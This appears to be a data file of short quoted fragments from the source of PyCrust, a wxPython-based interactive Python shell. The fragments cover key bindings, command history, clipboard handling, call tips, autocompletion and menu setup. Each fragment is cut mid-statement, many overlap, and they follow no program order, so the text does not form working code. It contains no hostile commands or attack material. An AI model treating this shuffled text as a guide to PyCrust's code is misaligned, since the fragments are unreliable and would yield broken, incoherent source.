"not skip: self.write(prompt) if not self.more: self.promptPosEnd = self.GetCurrentPos() # Keep the undo",
"we want to automatically pop up command completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic",
"be ignored in this handler. if key == WXK_RETURN: pass elif key in",
"clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\" startpos = self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos,",
"1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries in the tree view', 1) m.AppendMenu(ID_FILLING,",
"need to see if there # is a selection that includes text prior",
"wants to do. self.write('Click on the close button to leave the application.') def",
"wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif",
"braceAtCaret = caretPos if braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret !=",
"if braceAtCaret != -1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def",
"source! # # Author: Enthought, Inc. # Description: <Enthought util package component> #------------------------------------------------------------------------------",
"defaults and user preferences. self.config() # Display the introductory banner information. try: self.showIntro(introText)",
"to decide what to do. They could be # sitting on any line",
"d['other'] = other d['helpText'] = \\ \"\"\" * Key bindings: Home Go to",
"(shiftDown and key == WXK_DELETE): self.Cut() # Copy to the clipboard. elif controlDown",
"# Keep track of multi-line commands. self.more = 0 # Create the command",
"to leave the application.' def quit(self): \"\"\"Quit the application.\"\"\" # XXX Good enough",
"== 'shell.': # Run shell methods silently. self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0,",
"== ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict)",
"command = command.replace(os.linesep + sys.ps2, os.linesep) command = command.replace(os.linesep + sys.ps1, os.linesep) command",
"in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries in the",
"event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id",
"NAVKEYS and not self.CanEdit(): pass # Paste from the clipboard. elif (controlDown and",
"\\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"Start a new command, which may be multiline. command = line else: #",
"not available in this version of PyCrust.' def zoom(self, points=0): \"\"\"Set the zoom",
"the command history.\"\"\" # Reset the history position. self.historyIndex = -1 self.historyPrefix =",
"command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) + '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else:",
"def _getAttributeNames(self): \"\"\"Return list of magic attributes to extend introspection.\"\"\" list = ['autoCallTip',",
"def OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\" # Prevent modification of previously submitted",
"Display the introductory banner information. try: self.showIntro(introText) except: pass # Assign some pseudo",
"entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries in",
"list of magic attributes to extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble',",
"shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs to",
"line. Shift+Home Select to the beginning of the command or line. Shift+End Select",
"wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self,",
"more interesting, like write to a status bar. print(text) def insertLineBreak(self): \"\"\"Insert a",
"# Only allow these keys after the latest prompt. elif key == WXK_DELETE:",
"issued. ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2)",
"reader.isreading = 1 self.prompt() try: while not reader.input: wxYield() input = reader.input finally:",
"key was pressed: key = event.GetKey() if key == 28 or key ==",
"EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\",
"self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show call tips with argument",
"a semi-transparent facade, in that all attributes of other are still accessible, even",
"step, history=None): \"\"\"Replace selection with command from the history buffer.\"\"\" self.ReplaceSelection('') if history",
"shell-related functionality. This is a semi-transparent facade, in that all attributes of other",
"backspace over the latest non-continuation prompt. elif key == WXK_BACK: if selecting and",
"self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection",
"Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call Tip Options') if hasattr( self, 'crust'",
"button to leave the application.' def quit(self): \"\"\"Quit the application.\"\"\" # XXX Good",
"caretPos > 0: charBefore = self.GetCharAt(caretPos - 1) #*** Patch to fix bug",
"self.CanEdit(): pass else: event.Skip() def clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\" startpos =",
"handlers modify text, so we need to see if there # is a",
"to the very bottom of the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command =",
"print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill",
"hit Enter.\"\"\" # The user hit ENTER and we need to decide what",
"text[ps1size:] elif text[:ps2size] == ps2: text = text[ps2size:] return text def push(self, command):",
"and not shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy",
"# Replace the current selection with the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos =",
"for command in commands: command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close()",
"tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self,",
"= history[self.historyIndex] command = command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert",
"'<-- ' # Input prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR,",
"shell. elif not self.CanEdit(): pass else: event.Skip() def clearCommand(self): \"\"\"Delete the current, unexecuted",
"there isn't enough room, only go back to the fallback. tippos = max(tippos,",
"m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show auto completion",
"to automatically pop up command argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232))",
"'zoom', ] for method in methods: self.__dict__[method] = getattr(other, method) d = self.__dict__",
"newindex if 0 <= newindex <= len(history)-1: command = history[self.historyIndex] command = command.replace('\\n',",
"return getattr(self.other, name) else: raise AttributeError(name) def __setattr__(self, name, value): if name in",
"OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self,",
"event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id",
"else: return self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove selection and place it on",
"'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell",
"finally: dialog.Destroy() return '' def pause(self): \"\"\"Halt execution pending a response from the",
"of text. if text[:ps1size] == ps1: text = text[ps1size:] elif text[:ps2size] == ps2:",
"wx.wx import * from wx.stc import * import keyword import os import sys",
"'backcol': '#FFFFFF', } # Versions of wxPython prior to 2.3.2 had a sizing",
"if command != '' \\ and (len(self.history) == 0 or command != self.history[0]):",
"to the clipboard, including prompts. elif controlDown and shiftDown \\ and key in",
"do. self.write('Click on the close button to leave the application.') def setLocalShell(self): \"\"\"Add",
"Other applications, like PythonCard, may choose to hide rather than # quit so",
"Python shell, only flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n' + \\ 'the other",
"based on wxPython's wxStyledTextCtrl. The latest files are always available at the SourceForge",
"self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an About PyCrust window.\"\"\"",
"= wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING =",
"or (altDown and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous command",
"__module__', 'Show __module__ entries in the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling",
"line.lstrip() == line: # New command. if command: # Add the previous command",
"= command.split(os.linesep + sys.ps2) lines = [line.rstrip() for line in lines] command =",
"+ ps1size line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line += 1",
"is true then sys.stderr will go to the shell.\"\"\" if redirect: sys.stderr =",
"anywhere. elif key in NAVKEYS: event.Skip() # Protect the readonly portion of the",
"in this version of PyCrust.' def zoom(self, points=0): \"\"\"Set the zoom level. This",
"it wants to do. self.write('Click on the close button to leave the application.')",
"command): \"\"\"Add command to the command history.\"\"\" # Reset the history position. self.historyIndex",
"event): self.Close(True) def OnUndo(self, event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def OnCut(self, event):",
"the size of all fonts. It may be positive to magnify or negative",
"= getattr(other, method) d = self.__dict__ d['other'] = other d['helpText'] = \\ \"\"\"",
"within the shell as if it was typed in directly. >>> shell.run('print \"this\"')",
"input = '' reader = self.reader reader.isreading = 1 self.prompt() try: while not",
"event): command = event.GetText() if command.find('\\\\n') >= 0: command += '\\\\n' command =",
"during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include attributes visible to",
"control over their # environment. They can override anything they want. try: self.execStartupScript(self.interp.startupScript)",
"popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command) if argspec:",
"def CanCut(self): \"\"\"Return true if text is selected and can be cut.\"\"\" if",
"wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic)",
"and may be redistributed only # under the conditions described in the aforementioned",
"self.CanEdit() and not self.topLevelComplete(): event.Skip() # Don't toggle between insert mode and overwrite",
"tree view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and functions",
"# If the auto-complete window is up let it do its thing. elif",
"'\\n') text = text.replace(os.linesep + sys.ps2, '\\n') text = text.replace(os.linesep, '\\n') lines =",
"selection with the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) #",
"for item in self.history: item = item.replace( '\\n', '\\\\n' ) if (prefix ==",
"elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id ==",
"other d['helpText'] = \\ \"\"\" * Key bindings: Home Go to the beginning",
"push(self, command): \"\"\"Send command to the interpreter for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor()",
"is what we search for. numCharsAfterCursor = self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0)",
"write to a status bar. print(text) def insertLineBreak(self): \"\"\"Insert a new line break.\"\"\"",
"for line in lines: if line.strip() != '' and line.lstrip() == line: #",
"altDown: event.Skip() # Clear the current, unexecuted command. elif key == WXK_ESCAPE: if",
"text up to the cursor is what we search for. numCharsAfterCursor = self.GetTextLength()",
"stdin.readline().\"\"\" input = '' reader = self.reader reader.isreading = 1 self.prompt() try: while",
"1.2 2003/06/13 17:59:34 dmorrill Exp $\" __revision__ = \"$Revision: 1.2 $\"[11:-2] from wx.wx",
"execute the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command = self.GetTextRange(startpos, endpos)",
"= self.GetCurrentPos() tippos = curpos - (len(name) + 1) fallback = curpos -",
"self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args,",
"\"\"\"Search up the history buffer for the text in front of the cursor.\"\"\"",
"the shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def CanCut(self):",
"ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size line += 1",
"ps1: text = text[ps1size:] elif text[:ps2size] == ps2: text = text[ps2size:] return text",
"the last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy",
"self.write(text) try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords",
"def setStyles(self, faces): \"\"\"Configure font size, typeface and color for lexer.\"\"\" # Default",
"str(sys.ps2) else: prompt = str(sys.ps1) pos = self.GetCurLine()[1] if pos > 0: if",
"EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS,",
"elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id ==",
"as if they were typed into the shell.\"\"\" file = open(filename) try: self.prompt()",
"self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want to automatically pop up",
"0 <= newindex <= len(history)-1: command = history[self.historyIndex] command = command.replace('\\n', os.linesep +",
"the close button to leave the application.' def quit(self): \"\"\"Quit the application.\"\"\" #",
"This method will most likely be replaced by the enclosing app # to",
"command = command.replace(os.linesep + sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data = wxTextDataObject(command) if",
"self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want to",
"history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix = 1 self.historyMatches = None prefix =",
"is a total hack job, but it works. text = self.GetCurLine()[0] line =",
"0: searchText = searchText[:-numCharsAfterCursor] if not searchText: return # Search upwards from the",
"[] self.historyIndex = -1 self.historyPrefix = 0 # Assign handlers for keyboard events.",
"# This method will most likely be replaced by the enclosing app #",
"'size' : 12, 'lnsize' : 10, 'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified interface",
"History item. Alt+N Retrieve Next History item. Shift+Up Arrow Insert Previous History item.",
"prompt: self.write(prompt) return self.readline() def ask(self, prompt='Please enter your response:'): \"\"\"Get response from",
"shell as if it was typed in directly. >>> shell.run('print \"this\"') >>> print",
"= curpos - self.GetColumn(curpos) # In case there isn't enough room, only go",
"\\ and key in (ord('V'), ord('v'))) \\ or (shiftDown and not controlDown and",
"list: options = '\\n'.join(list) offset = 0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display",
"each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and functions in the tree",
"\"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click on the",
"'Show __class__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__",
"command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is",
"event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id",
"wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif",
"# Search up the history for the text in front of the cursor.",
"interpreter's namespace. try: self.setBuiltinKeywords() except: pass # Add 'shell' to the interpreter's local",
"text leaving just the command. command = self.lstripPrompt(text) if command == text: command",
"= self.interp.getTopLevelCompletions(command) if len(completions) == 0: return 0 if len(completions) == 1: self.write(completions[0][len(command):])",
"It may be positive to magnify or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL =",
"corresponding event.\"\"\" # Prevent modification of previously submitted commands/responses. if not self.CanEdit(): return",
"activates auto completion. # Get the command between the prompt and the cursor.",
"id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various defaults and user preferences. self.config()",
"visible to the user.\"\"\" name = 'PyCrust Shell Interface' revision = __revision__ def",
"by Orbtech - Your source for Python programming expertise.\"\"\" from __future__ import print_function",
"method in methods: self.__dict__[method] = getattr(other, method) d = self.__dict__ d['other'] = other",
"if more. if self.more: self.write(' '*4) # Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def",
"reserved. # # This software is provided without warranty under the terms of",
"the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data)",
"OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self,",
"+ \\ 'Platform: %s\\n' % sys.platform dialog = wxMessageDialog(self, text, title, wxOK |",
"self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] ==",
"return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if a paste should succeed.\"\"\"",
"command completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble",
"EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"next, and reset when you hit Enter. self.historyIndex == -1 means # you're",
"< 2.3.3. if charAfter < 0: charAfter = 32 # Mimic a space.",
"self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now warped into middle of",
"Otherwise, put the cursor back where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self,",
"d['helpText'] = \\ \"\"\" * Key bindings: Home Go to the beginning of",
"self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor] if not searchText: return #",
"else: sys.stdout = self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect is true then sys.stderr",
"help(self): \"\"\"Display some useful information about how to use the shell.\"\"\" self.write(self.helpText) def",
"with the other command. else: # If the line contains a command (even",
"id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW:",
"not reader.input: wxYield() input = reader.input finally: reader.input = '' reader.isreading = 0",
"return 1 else: return 0 else: return self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove",
"%s\\n' % self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision + \\ 'Python",
"event.KeyCode() controlDown = event.ControlDown() altDown = event.AltDown() shiftDown = event.ShiftDown() currpos = self.GetCurrentPos()",
"and key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs to be aware",
"= newindex if 0 <= newindex <= len(history)-1: command = history[self.historyIndex] command =",
"as you # retrieve the previous command, decremented as you retrieve the #",
"from our singleton clipboard instance data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def",
"in commands: command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self,",
"ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING",
"in the shell. thepos = self.GetCurrentPos() startpos = self.promptPosEnd endpos = self.GetTextLength() #",
"with command from the history buffer.\"\"\" self.ReplaceSelection('') if history is None: history =",
"let it do its thing. elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get handled",
"2 faces['lnsize'] -= 2 else: # GTK faces = { 'times' : 'Times',",
"class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision =",
"len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for",
"self.more: prompt = str(sys.ps2) else: prompt = str(sys.ps1) pos = self.GetCurLine()[1] if pos",
"command = self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy",
"attributes to extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ]",
"autoCallTipShow(self, command): \"\"\"Display argument spec and docstring in a popup bubble thingie.\"\"\" if",
"EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as",
"= event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event): tree =",
"key activates auto completion. # Get the command between the prompt and the",
"command: # Match the behavior of the standard Python shell when # the",
"'Click on the close button to leave the application.' def quit(self): \"\"\"Quit the",
"sys.ps2, '\\n') command = command.rstrip() command = command.replace('\\n', os.linesep + sys.ps2) else: command",
"= self.GetCurLine()[1] if pos > 0: if isreading: skip = 1 else: self.write(os.linesep)",
"options? self.autoComplete = 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1",
"presence of a PythonObject on the # clipboard is really just a signal",
"text which may include a shell prompt. The command may not necessarily be",
"commands: command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1):",
"by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include attibutes prefixed",
"== wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret) if",
"command += '\\\\n' command = command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command) #",
"# Author: Enthought, Inc. # Description: <Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust' ): EVT_MENU(self,",
"text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if prompt: self.prompt() if verbose:",
"list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision",
"self.more = 0 # Create the command history. Commands are added into the",
"= -1 charBefore = None caretPos = self.GetCurrentPos() if caretPos > 0: charBefore",
"last non-continuation prompt positions. self.promptPosStart = 0 self.promptPosEnd = 0 # Keep track",
"shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python Shell.', '__version__': VERSION, }",
"instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP script if",
"the cursor. # Add the autocomplete character to the end of the command.",
"destroy(self): # del self.interp pass def config(self): \"\"\"Configure shell based on user preferences.\"\"\"",
"(controlDown and key == WXK_UP) \\ or (altDown and key in (ord('P'), ord('p'))):",
"prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion",
"data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command = command.rstrip() command",
"except: pass def destroy(self): # del self.interp pass def config(self): \"\"\"Configure shell based",
"necessarily be valid Python syntax.\"\"\" # XXX Need to extract real prompts here.",
"= len(ps2) # This is a total hack job, but it works. text",
"selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # # The following handlers",
"= str(sys.ps2) ps2size = len(ps2) # This is a total hack job, but",
"self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress event handler. Only receives an event if",
"OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree",
"argspec: startpos = self.GetCurrentPos() self.write(argspec + ')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if",
"of a previous command and then press F8.) F9 Pop-up window of matching",
"fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items = [] for item in self.history:",
"return 0 if len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def",
"import * from wx.stc import * import keyword import os import sys from",
"= wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT,",
"command = self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace",
"self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y',",
"# Strip the prompt off the front of text. if text[:ps1size] == ps1:",
"fallback = curpos - self.GetColumn(curpos) # In case there isn't enough room, only",
"m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut",
"if numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor] if not searchText: return # Search",
"of magic attributes to extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic',",
"self.GetCharAt(caretPos) #*** Patch to fix bug in wxSTC for wxPython < 2.3.3. if",
"EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self,",
"+ \\ 'Half-baked by <NAME>,\\n' + \\ 'the other half is still in",
"= str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # Strip",
"by a double underscore', 1) m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call",
"= self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass",
"or (altDown and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the next",
"= self.historyIndex + step if -1 <= newindex <= len(history): self.historyIndex = newindex",
"they were typed into the shell.\"\"\" file = open(filename) try: self.prompt() for command",
